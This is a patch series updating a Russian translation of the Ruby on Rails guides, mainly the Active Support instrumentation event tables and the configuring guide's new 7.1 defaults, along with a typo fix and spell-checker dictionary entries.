----------------------------------------- | @@ -287,11 +302,11 @@ INFO. Дополнительные ключи могут быть добавле ```ruby { identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb", - locals: {foo: "bar"} + locals: { foo: "bar" } } ``` -#### render_collection.action_view +#### `render_collection.action_view` | Ключ | Значение | | ------------- | ----------------------------------------- | @@ -299,7 +314,7 @@ INFO. Дополнительные ключи могут быть добавле | `:count` | Размер коллекции | | `:cache_hits` | Количество партиалов, извлеченных из кэша | -`:cache_hits` включается, только если коллекция рендерится с `cached: true`. +Ключ `:cache_hits` включен, только если коллекция рендерится с `cached: true`. ```ruby { @@ -309,7 +324,7 @@ INFO. Дополнительные ключи могут быть добавле } ``` -#### render_layout.action_view +#### `render_layout.action_view` | Ключ | Значение | | ------------- | --------------------- | @@ -322,9 +337,12 @@ INFO. Дополнительные ключи могут быть добавле } ``` +[`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html +[`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html + ### Active Record -#### sql.active_record +#### `sql.active_record` | Ключ | Значение | | -------------------- | --------------------------------------------- | @@ -336,22 +354,33 @@ INFO. Дополнительные ключи могут быть добавле | `:statement_name` | Имя выражения SQL | | `:cached` | `true` если использованы кэшированные запросы | -INFO. Адаптеры будут добавлять свои собственные данные. +Адаптеры могут добавлять свои собственные данные. ```ruby { sql: "SELECT \"posts\".* FROM \"posts\" ", name: "Post Load", - connection: #, - binds: [#], + connection: , + binds: [], type_casted_binds: [11], statement_name: nil } ``` -#### instantiation.active_record +#### `strict_loading_violation.active_record` + +Это событие выпускается, только когда [`config.active_record.action_on_strict_loading_violation`][] установлен `:log`. + +| Ключ | Значение | +| ------------- | --------------------------------------------- | +| `:owner` | Модель с включенным `strict_loading` | +| `:reflection` | Отражение связи, которая пытается загрузиться | -| Key | Value | +[`config.active_record.action_on_strict_loading_violation`]: configuring.html#config-active-record-action-on-strict-loading-violation + +#### `instantiation.active_record` + +| Ключ | Значение | | ---------------- | ----------------------------------------- | | `:record_count` | Количество записей | | `:class_name` | Класс записи | @@ -365,7 +394,7 @@ INFO. Адаптеры будут добавлять свои собственн ### Action Mailer -#### deliver.action_mailer +#### `deliver.action_mailer` | Ключ | Значение | | --------------------- | ------------------------------------------------ | @@ -393,7 +422,7 @@ INFO. Адаптеры будут добавлять свои собственн } ``` -#### process.action_mailer +#### `process.action_mailer` | Ключ | Значение | | ------------- | ------------------------ | @@ -409,27 +438,36 @@ INFO. Адаптеры будут добавлять свои собственн } ``` -### Active Support +### Active Support - кэширование + +#### `cache_read.active_support` -#### cache_read.active_support +| Ключ | Значение | +| ------------------ | --------------------------------------------------------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | +| `:hit` | Если это чтение успешно | +| `:super_operation` | `:fetch`, когда чтение выполняется с [`fetch`][ActiveSupport::Cache::Store#fetch] | -| Ключ | Значение | -| ------------------ | --------------------------------------------------------- | -| `:key` | Ключ, используемый при хранении | -| `:store` | Имя класса хранилища | -| `:hit` | Если это чтение успешно | -| `:super_operation` | `:fetch` добавляется когда чтение используется с `#fetch` | +#### `cache_read_multi.active_support` -#### cache_generate.active_support +| Ключ | Значение | +| ------------------ | --------------------------------------------------------------------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | +| `:hit` | Если это чтение успешно | +| `:super_operation` | `:fetch_multi`, когда чтение выполняется с [`fetch_multi`][ActiveSupport::Cache::Store#fetch] | -Это событие используется только когда `#fetch` вызывается с блоком. +#### `cache_generate.active_support` + +Это событие используется, только когда [`fetch`][ActiveSupport::Cache::Store#fetch] вызывается с блоком. | Ключ | Значение | | -------- | ------------------------------- | | `:key` | Ключ, используемый при хранении | | `:store` | Имя класса хранилища | -INFO. Опции, переданные в вызов, будут объединены с полезной нагрузкой при записи в хранилище. +Опции, переданные в `fetch`, будут объединены с полезной нагрузкой при записи в хранилище. ```ruby { @@ -438,16 +476,16 @@ INFO. Опции, переданные в вызов, будут объедин } ``` -#### cache_fetch_hit.active_support +#### `cache_fetch_hit.active_support` -Это событие используется только когда `#fetch` вызывается с блоком. +Это событие используется только когда [`fetch`][ActiveSupport::Cache::Store#fetch] вызывается с блоком. | Ключ | Значение | | -------- | ------------------------------- | | `:key` | Ключ, используемый при хранении | | `:store` | Имя класса хранилища | -INFO. Опции, переданные в вызов, будут объединены с полезной нагрузкой. +Опции, переданные в `fetch`, будут объединены с полезной нагрузкой. ```ruby { @@ -456,14 +494,14 @@ INFO. Опции, переданные в вызов, будут объедин } ``` -#### cache_write.active_support +#### `cache_write.active_support` | Ключ | Значение | | -------- | ------------------------------- | | `:key` | Ключ, используемый при хранении | | `:store` | Имя класса хранилища | -INFO. Кэш хранилище может добавить свой собственный ключ. +Хранилища кэша также могут добавлять свои собственные данные. ```ruby { @@ -472,7 +510,51 @@ INFO. Кэш хранилище может добавить свой собст } ``` -#### cache_delete.active_support +#### `cache_write_multi.active_support` + +| Ключ | Значение | +| -------- | ------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | + + +#### `cache_increment.active_support` + +Это событие вызывается только при использовании [`MemCacheStore`][ActiveSupport::Cache::MemCacheStore] или [`RedisCacheStore`][ActiveSupport::Cache::RedisCacheStore]. + +| Ключ | Значение | +| --------- | ------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | +| `:amount` | Сумма увеличения | + +```ruby +{ + key: "bottles-of-beer", + store: "ActiveSupport::Cache::RedisCacheStore", + amount: 99 +} +``` + +#### `cache_decrement.active_support` + +Это событие вызывается только при использовании хранилищ кэша Memcached или Redis. + +| Ключ | Значение | +| --------- | ------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | +| `:amount` | Сумма уменьшения | + +```ruby +{ + key: "bottles-of-beer", + store: "ActiveSupport::Cache::RedisCacheStore", + amount: 1 +} +``` + +#### `cache_delete.active_support` | Ключ | Значение | | -------- | ------------------------------- | @@ -486,7 +568,64 @@ INFO. Кэш хранилище может добавить свой собст } ``` -#### cache_exist?.active_support +#### `cache_delete_multi.active_support` + +| Ключ | Значение | +| -------- | ------------------------------- | +| `:key` | Ключ, используемый при хранении | +| `:store` | Имя класса хранилища | + +#### `cache_delete_matched.active_support` + +Это событие вызывается только при использовании [`RedisCacheStore`][ActiveSupport::Cache::RedisCacheStore], [`FileStore`][ActiveSupport::Cache::FileStore] или [`MemoryStore`][ActiveSupport::Cache::MemoryStore]. + +| Ключ | Значение | +| -------- | -------------------------- | +| `:key` | Используемый паттерн ключа | +| `:store` | Имя класса хранилища | + +```ruby +{ + key: "posts/*", + store: "ActiveSupport::Cache::RedisCacheStore" +} +``` + +#### `cache_cleanup.active_support` + +Это событие вызывается только при использовании [`MemoryStore`][ActiveSupport::Cache::MemoryStore]. + +| Ключ | Значение | +| -------- | ---------------------------------------- | +| `:store` | Имя класса хранилища | +| `:size` | Количество записей в кэше перед очисткой | + +```ruby +{ + store: "ActiveSupport::Cache::MemoryStore", + size: 9001 +} +``` + +#### `cache_prune.active_support` + +Это событие вызывается только при использовании [`MemoryStore`][ActiveSupport::Cache::MemoryStore]. + +| Ключ | Значение | +| -------- | ---------------------------------------- | +| `:store` | Имя класса хранилища | +| `:key` | Целевой размер (в байтах) для кэша | +| `:from` | Размер (в байтах) кэша перед сокращением | + +```ruby +{ + store: "ActiveSupport::Cache::MemoryStore", + key: 5000, + from: 9001 +} +``` + +#### `cache_exist?.active_support` | Ключ | Значение | | -------- | ------------------------------- | @@ -500,23 +639,50 @@ INFO. Кэш хранилище может добавить свой собст } ``` +[ActiveSupport::Cache::FileStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html +[ActiveSupport::Cache::MemCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html +[ActiveSupport::Cache::MemoryStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html +[ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html +[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch +[ActiveSupport::Cache::Store#fetch_multi]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch_multi + +### Active Support — сообщения + +#### `message_serializer_fallback.active_support` + +| Ключ | Значение | +| --------------- | --------------------------------------- | +| `:serializer` | Основной (предназначенный) сериализатор | +| `:fallback` | Запасной (фактический) сериализатор | +| `:serialized` | Сериализованная строка | +| `:deserialized` | Десериализованное значение | + +```ruby +{ + serializer: :json_allow_marshal, + fallback: :marshal, + serialized: "\x04\b{\x06I\"\nHello\x06:\x06ETI\"\nWorld\x06;\x00T", + deserialized: { "Hello" => "World" }, +} +``` + ### Active Job -#### enqueue_at.active_job +#### `enqueue_at.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | | `:adapter` | Объект QueueAdapter, обрабатывающий задание | | `:job` | Объект задания | -#### enqueue.active_job +#### `enqueue.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | | `:adapter` | Объект QueueAdapter, обрабатывающий задание | | `:job` | Объект задания | -#### enqueue_retry.active_job +#### `enqueue_retry.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | @@ -525,14 +691,21 @@ INFO. Кэш хранилище может добавить свой собст | `:error` | Ошибка, вызвавшая повтор | | `:wait` | Задержка повтора | -#### perform_start.active_job +#### `enqueue_all.active_job` + +| Ключ | Значение | +| ------------ | ------------------------------------------- | +| `:adapter` | Объект QueueAdapter, обрабатывающий задание | +| `:jobs` | Массив объектов Job | + +#### `perform_start.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | | `:adapter` | Объект QueueAdapter, обрабатывающий задание | | `:job` | Объект задания | -#### perform.active_job +#### `perform.active_job` | Ключ | Значение | | ------------- | ---------------------------------------------------------------------- | @@ -540,7 +713,7 @@ INFO. Кэш хранилище может добавить свой собст | `:job` | Объект задания | | `:db_runtime` | Сколько затрачено на выполнение запросов в базу данных в миллисекундах | -#### retry_stopped.active_job +#### `retry_stopped.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | @@ -548,7 +721,7 @@ INFO. Кэш хранилище может добавить свой собст | `:job` | Объект задания | | `:error` | Ошибка, вызвавшая повтор | -#### discard.active_job +#### `discard.active_job` | Ключ | Значение | | ------------ | ------------------------------------------- | @@ -558,7 +731,7 @@ INFO. Кэш хранилище может добавить свой собст ### Action Cable -#### perform_action.action_cable +#### `perform_action.action_cable` | Ключ | Значение | | ---------------- | ------------------------- | @@ -566,7 +739,7 @@ INFO. Кэш хранилище может добавить свой собст | `:action` | Экшн | | `:data` | Данные хэша | -#### transmit.action_cable +#### `transmit.action_cable` | Ключ | Значение | | ---------------- | ------------------------- | @@ -574,19 +747,19 @@ INFO. Кэш хранилище может добавить свой собст | `:data` | Данные хэша | | `:via` | С помощью | -#### transmit_subscription_confirmation.action_cable +#### `transmit_subscription_confirmation.action_cable` | Ключ | Значение | | ---------------- | ------------------------- | | `:channel_class` | Имя класса канала | -#### transmit_subscription_rejection.action_cable +#### `transmit_subscription_rejection.action_cable` | Ключ | Значение | | ---------------- | ------------------------- | | `:channel_class` | Имя класса канала | -#### broadcast.action_cable +#### `broadcast.action_cable` | Ключ | Значение | | --------------- | -------------------- | @@ -596,7 +769,23 @@ INFO. Кэш хранилище может добавить свой собст ### Active Storage -#### service_upload.active_storage +#### `preview.active_storage` + +| Ключ | Значение | +| ------------ | ------------------ | +| `:key` | Токен безопасности | + +#### `transform.active_storage` + +#### `analyze.active_storage` + +| Ключ | Значение | +| ------------ | --------------------------------- | +| `:analyzer` | Имя анализатора, например ffprobe | + +### Active Storage — сервис хранения + +#### `service_upload.active_storage` | Ключ | Значение | | ------------ | --------------------------------------------- | @@ -604,21 +793,21 @@ INFO. Кэш хранилище может добавить свой собст | `:service` | Имя сервиса | | `:checksum` | Контрольная сумма для обеспечения целостности | -#### service_streaming_download.active_storage +#### `service_streaming_download.active_storage` | Ключ | Значение | | ------------ | ------------------- | | `:key` | Токен безопасности | | `:service` | Имя сервиса | -#### service_download.active_storage +#### `service_download.active_storage` | Ключ | Значение | | ------------ | ------------------- | | `:key` | Токен безопасности | | `:service` | Имя сервиса | -#### service_download_chunk.active_storage +#### `service_download_chunk.active_storage` | Ключ | Значение | | ------------ | -------------------------- | @@ -626,21 +815,21 @@ INFO. Кэш хранилище может добавить свой собст | `:service` | Имя сервиса | | `:range` | Диапазон битов к прочтению | -#### service_delete.active_storage +#### `service_delete.active_storage` | Ключ | Значение | | ------------ | ------------------- | | `:key` | Токен безопасности | | `:service` | Имя сервиса | -#### service_delete_prefixed.active_storage +#### `service_delete_prefixed.active_storage` | Ключ | Значение | | ------------ | ------------------- | | `:prefix` | Префикс ключа | | `:service` | Имя сервиса | -#### service_exist.active_storage +#### `service_exist.active_storage` | Ключ | Значение | | ------------ | ----------------------------------- | @@ -648,7 +837,7 @@ INFO. Кэш хранилище может добавить свой собст | `:service` | Имя сервиса | | `:exist` | Существует или же нет файл или blob | -#### service_url.active_storage +#### `service_url.active_storage` | Ключ | Значение | | ------------ | ------------------- | @@ -656,39 +845,25 @@ INFO. Кэш хранилище может добавить свой собст | `:service` | Имя сервиса | | `:url` | Сгенерированный URL | -#### service_update_metadata.active_storage - -| Ключ | Значение | -| --------------- | ----------------------------- | -| `:key` | Токен безопасности | -| `:service` | Имя сервиса | -| `:content_type` | Поле HTTP Content-Type | -| `:disposition` | Поле HTTP Content-Disposition | +#### `service_update_metadata.active_storage` -INFO. Пока что единственный сервис ActiveStorage, предоставляющий этот хук, это GCS. +Это событие вызывается только при использовании сервиса Google Cloud Storage. -#### preview.active_storage - -| Ключ | Значение | -| ------------ | ------------------- | -| `:key` | Токен безопасности | - -#### transform.active_storage - -#### analyze.active_storage - -| Ключ | Значение | -| ------------ | --------------------------------- | -| `:analyzer` | Имя анализатора, например ffprobe | +| Ключ | Значение | +| --------------- | ------------------------------- | +| `:key` | Токен безопасности | +| `:service` | Имя сервиса | +| `:content_type` | Поле HTTP `Content-Type` | +| `:disposition` | Поле HTTP `Content-Disposition` | ### Action Mailbox -#### process.action_mailbox +#### `process.action_mailbox` -| Ключ | Значение | -| -----------------| --------------------------------------------------------------- | -| `:mailbox` | Экземпляр класс Mailbox, унаследованного от ActionMailbox::Base | -| `:inbound_email` | Хэш с данными о входящем письме, которое обрабатывается | +| Ключ | Значение | +| -----------------| --------------------------------------------------------------------- | +| `:mailbox` | Экземпляр класс Mailbox, унаследованного от [`ActionMailbox::Base`][] | +| `:inbound_email` | Хэш с данными о входящем письме, которое обрабатывается | ```ruby { @@ -701,22 +876,26 @@ INFO. Пока что единственный сервис ActiveStorage, пр } ``` +[`ActionMailbox::Base`]: https://api.rubyonrails.org/classes/ActionMailbox/Base.html + ### Railties -#### load_config_initializer.railties +#### `load_config_initializer.railties` -| Ключ | Значение | -| -------------- | ----------------------------------------------------------- | -| `:initializer` | Путь к загруженному инициализатору из `config/initializers` | +| Ключ | Значение | +| -------------- | ---------------------------------------------------------- | +| `:initializer` | Путь к загруженному инициализатору в `config/initializers` | ### Rails -#### deprecation.rails +#### `deprecation.rails` -| Ключ | Значение | -| ------------ | ------------------------------- | -| `:message` | Предупреждение устаревания | -| `:callstack` | Откуда предупреждение пришло | +| Ключ | Значение | +| ---------------------- | --------------------------------------------------- | +| `:message` | Предупреждение устаревания | +| `:callstack` | Откуда предупреждение пришло | +| `:gem_name` | Название гема, отчитывающегося об устаревания | +| `:deprecation_horizon` | Версия, в которой устаревшее поведение будет убрано | Исключения ---------- @@ -731,7 +910,7 @@ INFO. Пока что единственный сервис ActiveStorage, пр (creating-custom-events) Создание пользовательского события ----------------------------------------------------------- -Добавить свои события очень просто. `ActiveSupport::Notifications` будет делать всю тяжелую работу за вас. Просто вызовите `instrument` с `name`, `payload` и блоком. Уведомление будет отправлено после возвращения блока. `ActiveSupport` сгенерирует время старта и окончания и добавит уникальный ID инструментария. Все данные переданные в вызов `instrument` будут выполнены в полезной нагрузке. +Добавить свои события очень просто. Active Support будет делать всю тяжелую работу за вас. Просто вызовите [`ActiveSupport::Notifications.instrument`][] с `name`, `payload` и блоком. Уведомление будет отправлено после возвращения блока. Active Support сгенерирует время старта и окончания и добавит уникальный ID инструментария. Все данные переданные в вызов `instrument` будут выполнены в полезной нагрузке. Пример: @@ -749,7 +928,7 @@ ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, fini end ``` -Также есть вариант вызова инструментария без передачи блока. Это позволяет использовать инфраструктуру инструментария для других применений (обмен сообщениями). +Также можно вызвать `instrument` без передачи блока. Это позволяет использовать инфраструктуру инструментария для других применений (обмен сообщениями). ```ruby ActiveSupport::Notifications.instrument "my.custom.event", this: :data @@ -760,3 +939,5 @@ end ``` Вы должны следовать соглашениям Rails при создании своих событий. Формат: `event.library`. Если ваше приложение отправляет Tweets, вы должны назвать событие `tweet.twitter`. + +[`ActiveSupport::Notifications.instrument`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-instrument diff --git a/source/index.yml b/source/index.yml index fa377c0b..1f9b74b4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -111,8 +111,8 @@ pages: - title: Инструметарий Active Support path: active-support-instrumentation file: active_support_instrumentation.md - revision: d49a3abc019732c35c2f1fdc7687572ddd168dd8 - date: 15/10/2022 + revision: c9b894241abe9ca1acf513dccfa89695d84eb5bf + date: 15/05/2023 - title: API интернационализации Rails (I18n) path: i18n From 04fc8c7cae4d277905c4083635c3f24da816731b Mon Sep 17 00:00:00 2001 From: Leenday Date: Sat, 8 Jul 2023 17:22:53 +0600 Subject: [PATCH 838/932] fix typo --- source/asset_pipeline.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index d54e4dbd..f82f8966 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -30,7 +30,7 @@ NOTE: Это руководство фокусируется на файлопр Второй особенностью файлопровода является использование [карт импорта](https://github.com/WICG/import-maps) при раздаче файлов JavaScript. Это позволяет создавать современное приложение с помощью библиотек Javascript, сделанных для модулей ES (ESM), без необходимости транспиляции и сборки. В свою очередь, **это устраняет необходимость Webpack, yarn, node или любой другой части инструментария JavaScript**. -Третьей особенностью файлопровода является соединение всех CSS файлы в один главный файл `.css`, который затем минифицируется или сжимается. Как будет сказано далее в этом руководстве, можно настроить эту стратегию, сгруппировав файлы любым способом. В production, Rails вставляет метку SHA256 в каждое имя файла, таким образом файл кэшируется браузером. Кэш можно сделать недействительным, изменив эту метку, что происходит автоматически каждый раз, когда изменяется содержимое файла. +Третьей особенностью файлопровода является соединение всех CSS файлов в один главный файл `.css`, который затем минифицируется или сжимается. Как будет сказано далее в этом руководстве, можно настроить эту стратегию, сгруппировав файлы любым способом. В production, Rails вставляет метку SHA256 в каждое имя файла, таким образом файл кэшируется браузером. Кэш можно сделать недействительным, изменив эту метку, что происходит автоматически каждый раз, когда изменяется содержимое файла. Четвертой особенностью файлопровода является то, что он позволяет писать эти ассеты на языке более высокого уровня для CSS. From fde8c97138532c3f5e42a948f5b2ed2adee5ecd6 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Wed, 12 Jul 2023 00:47:12 +0300 Subject: [PATCH 839/932] Update config guide --- .yaspeller.json | 5 +- source/configuring.md | 469 +++++++++++++++++++++++++++++------------- source/index.yml | 4 +- 3 files changed, 329 insertions(+), 149 deletions(-) diff --git a/.yaspeller.json b/.yaspeller.json index 6c8414d3..b5d39239 100644 --- a/.yaspeller.json +++ b/.yaspeller.json @@ -25,6 +25,7 @@ "ассетн(ый|ых)", "аудируем(о|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "баг", + "балансировщик", "бд", "БД", "бесшовн(о|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", @@ -191,7 +192,7 @@ "прекомпилирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "прелоадер(а|е|у|ы|ах|ов|ом|ами|)", "проксирующ(ая|ее|ие|ий|их|ую|его)", - "проксир(((ует|уют|уете|овать)(ся|))|(ован(а|о|ы|ие|ия|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)))", + "проксир(((ует|уют|уете|овать)(ся|))|(ован(а|о|ы|ие|ии|ия|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)))", "райтер(а|е|у|ы|ах|ов|ом|ами|)", "распараллеливател(ь|е|и|ю|ем|ям|ях|ями|)", "распарс(и|я)т(ь|ся|ься|)", @@ -220,7 +221,7 @@ "селект(а|е|у|ы|ах|ов|ом|ами|)", "сериализатор(а|е|у|ы|ах|ов|ом|ам|ами|)", "сериализаци(и|ю|я|ей)", - "сериализ(ует|уют|уете|овать|овывать|уемыми|уемого|)(ся|)", + "сериализ(ует|уют|уете|овать|овывать|уемыми|уемого|ующий|)(ся|)", "сериализован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "синглтон(а|е|у|ы|ах|ов|ом|ам|ами|)", "скаффолд(а|е|у|ах|ом|ов|ы|ами|)", diff --git a/source/configuring.md b/source/configuring.md index c54c97f3..59c4ce74 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -57,18 +57,27 @@ NOTE: Если необходимо применить конфигурацию #### Значения по умолчанию для целевой версии 7.1 - [`config.action_controller.allow_deprecated_parameters_hash_equality`](#config-action-controller-allow-deprecated-parameters-hash-equality): `false` +- [`config.action_dispatch.debug_exception_log_level`](#config-action-dispatch-debug-exception-log-level): `:error` - [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }` +- [`config.action_text.sanitizer_vendor`](#config-action-text-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor` +- [`config.action_view.sanitizer_vendor`](#config-action-view-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor` - [`config.active_job.use_big_decimal_serializer`](#config-active-job-use-big-decimal-serializer): `true` - [`config.active_record.allow_deprecated_singular_associations_name`](#config-active-record-allow-deprecated-singular-associations-name): `false` - [`config.active_record.before_committed_on_all_records`](#config-active-record-before-committed-on-all-records): `true` - [`config.active_record.belongs_to_required_validates_foreign_key`](#config-active-record-belongs-to-required-validates-foreign-key): `false` +- [`config.active_record.default_column_serializer`](#config-active-record-default-column-serializer): `nil` +- [`config.active_record.encryption.hash_digest_class`](#config-active-record-encryption-hash-digest-class): `OpenSSL::Digest::SHA256` +- [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](#config-active-record-encryption-support-sha1-for-non-deterministic-encryption): `false` +- [`config.active_record.marshalling_format_version`](#config-active-record-marshalling-format-version): `7.1` - [`config.active_record.query_log_tags_format`](#config-active-record-query-log-tags-format): `:sqlcommenter` - [`config.active_record.raise_on_assign_to_attr_readonly`](#config-active-record-raise-on-assign-to-attr-readonly): `true` +- [`config.active_record.run_after_transaction_callbacks_in_order_defined`](#config-active-record-run-after-transaction-callbacks-in-order-defined): `true` - [`config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction`](#config-active-record-run-commit-callbacks-on-first-saved-instances-in-transaction): `false` - [`config.active_record.sqlite3_adapter_strict_strings_by_default`](#config-active-record-sqlite3-adapter-strict-strings-by-default): `true` -- [`config.active_support.default_message_encryptor_serializer`](#config-active-support-default-message-encryptor-serializer): `:json` -- [`config.active_support.default_message_verifier_serializer`](#config-active-support-default-message-verifier-serializer): `:json` +- [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.1` +- [`config.active_support.message_serializer`](#config-active-support-message-serializer): `:json_allow_marshal` - [`config.active_support.raise_on_invalid_cache_expiration_time`](#config-active-support-raise-on-invalid-cache-expiration-time): `true` +- [`config.active_support.use_message_serializer_for_metadata`](#config-active-support-use-message-serializer-for-metadata): `true` - [`config.add_autoload_paths_to_load_path`](#config-add-autoload-paths-to-load-path): `false` - [`config.log_file_size`](#config-log-file-size): `100 * 1024 * 1024` - [`config.precompile_filter_parameters`](#config-precompile-filter-parameters): `true` @@ -79,7 +88,6 @@ NOTE: Если необходимо применить конфигурацию - [`config.action_controller.wrap_parameters_by_default`](#config-action-controller-wrap-parameters-by-default): `true` - [`config.action_dispatch.cookies_serializer`](#config-action-dispatch-cookies-serializer): `:json` - [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Download-Options" => "noopen", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }` -- [`config.action_dispatch.return_only_request_media_type_on_content_type`](#config-action-dispatch-return-only-request-media-type-on-content-type): `false` - [`config.action_mailer.smtp_timeout`](#config-action-mailer-smtp-timeout): `5` - [`config.action_view.apply_stylesheet_media_default`](#config-action-view-apply-stylesheet-media-default): `false` - [`config.action_view.button_to_generates_button_tag`](#config-action-view-button-to-generates-button-tag): `true` @@ -90,13 +98,10 @@ NOTE: Если необходимо применить конфигурацию - [`config.active_storage.variant_processor`](#config-active-storage-variant-processor): `:vips` - [`config.active_storage.video_preview_arguments`](#config-active-storage-video-preview-arguments): `"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2"` - [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.0` -- [`config.active_support.disable_to_s_conversion`](#config-active-support-disable-to-s-conversion): `true` - [`config.active_support.executor_around_test_case`](#config-active-support-executor-around-test-case): `true` - [`config.active_support.hash_digest_class`](#config-active-support-hash-digest-class): `OpenSSL::Digest::SHA256` - [`config.active_support.isolation_level`](#config-active-support-isolation-level): `:thread` - [`config.active_support.key_generator_hash_digest_class`](#config-active-support-key-generator-hash-digest-class): `OpenSSL::Digest::SHA256` -- [`config.active_support.remove_deprecated_time_with_zone_name`](#config-active-support-remove-deprecated-time-with-zone-name): `true` -- [`config.active_support.use_rfc4122_namespaced_uuids`](#config-active-support-use-rfc4122-namespaced-uuids): `true` #### Значения по умолчанию для целевой версии 6.1 @@ -122,7 +127,6 @@ NOTE: Если необходимо применить конфигурацию - [`config.active_record.collection_cache_versioning`](#config-active-record-collection-cache-versioning): `true` - [`config.active_storage.queues.analysis`](#config-active-storage-queues-analysis): `:active_storage_analysis` - [`config.active_storage.queues.purge`](#config-active-storage-queues-purge): `:active_storage_purge` -- [`config.active_storage.replace_on_assign_to_many`](#config-active-storage-replace-on-assign-to-many): `true` #### Значения по умолчанию для целевой версии 5.2 @@ -161,6 +165,8 @@ NOTE: Если необходимо применить конфигурацию | (изначально) | `true` | | 7.1 | `false` | +Этот флажок не влияет на директорию `lib`, она всегда добавляется в `$LOAD_PATH`. + #### `config.after_initialize` Принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ запущен для Rake задач. Полезно для конфигурирования настроек, установленных другими инициализаторами: @@ -171,7 +177,7 @@ config.after_initialize do end ``` -### `config.after_routes_loaded` +#### `config.after_routes_loaded` Принимает блок, который будет запущен после того, как Rails завершит загрузку маршрутов приложения. Этот блок будет также запущен всякий раз, когда маршруты перезагружаются. @@ -189,6 +195,10 @@ end Устанавливает хост для ассетов. Полезна, когда для хостинга ассетов используются CDN, или когда необходимо обойти встроенные в браузеры конкурентные ограничения, используя различные псевдонимы доменов. Укороченная версия `config.action_controller.asset_host`. +#### `config.assume_ssl` + +Заставляет приложение считать, что все запросы приходят через SSL. Это полезно при проксировании через балансировщик нагрузки, который прекращает SSL, тогда направленный запрос появится в приложении как будто HTTP вместо HTTPS. Тогда HTTP вместо HTTPS будет целью для перенаправления и куки безопасности. Эта промежуточная программа позволяет серверу допускать, что прокси уже прекратил SSL, но что запрос в действительности HTTPS. + #### `config.autoflush_log` Включает немедленную запись вывода в файл лога вместо буферизации. По умолчанию `true`. @@ -201,6 +211,24 @@ end Принимает массив путей, по которым Rails будет автоматически загружать константы. По умолчанию пустой массив. Начиная с [Rails 6](/upgrading-ruby-on-rails#autoloading) не рекомендуется настраивать это. Подробнее смотрите в руководстве [Автозагрузка и перезагрузка констант](/autoloading-and-reloading-constants#autoload-paths) +#### `config.autoload_lib(ignore:)` + +Этот метод добавляет `lib` в `config.autoload_paths` и `config.eager_load_paths`. + +Обычно в директории `lib` есть поддиректории, которые не должны автоматически или нетерпеливо загружаться. Пожалуйста, передайте их имя относительно `lib` в обязательном аргументе-ключе `ignore`. Например, + +```ruby +config.autoload_lib(ignore: %w(assets tasks generators)) +``` + +Пожалуйста, за подробностями обратитесь к [руководству по автозагрузке](/autoloading-and-reloading-constants). + +#### `config.autoload_lib_once(ignore:)` + +Метод `config.autoload_lib_once` похож на `config.autoload_lib`, за исключением того, что он добавляет `lib` в `config.autoload_once_paths`. + +Вызывая `config.autoload_lib_once`, классы и модули в `lib` могут быть автоматически загружены, даже из инициализаторов приложения, но не могут быть перезагружены. + #### `config.beginning_of_week` Устанавливает начало недели по умолчанию для приложения. Принимает валидный день недели как символ (например, `:monday`). @@ -248,11 +276,19 @@ end #### `config.credentials.content_path` -Настраивает путь поиска зашифрованных учетных данных. +Путь к файлу с зашифрованными учетными 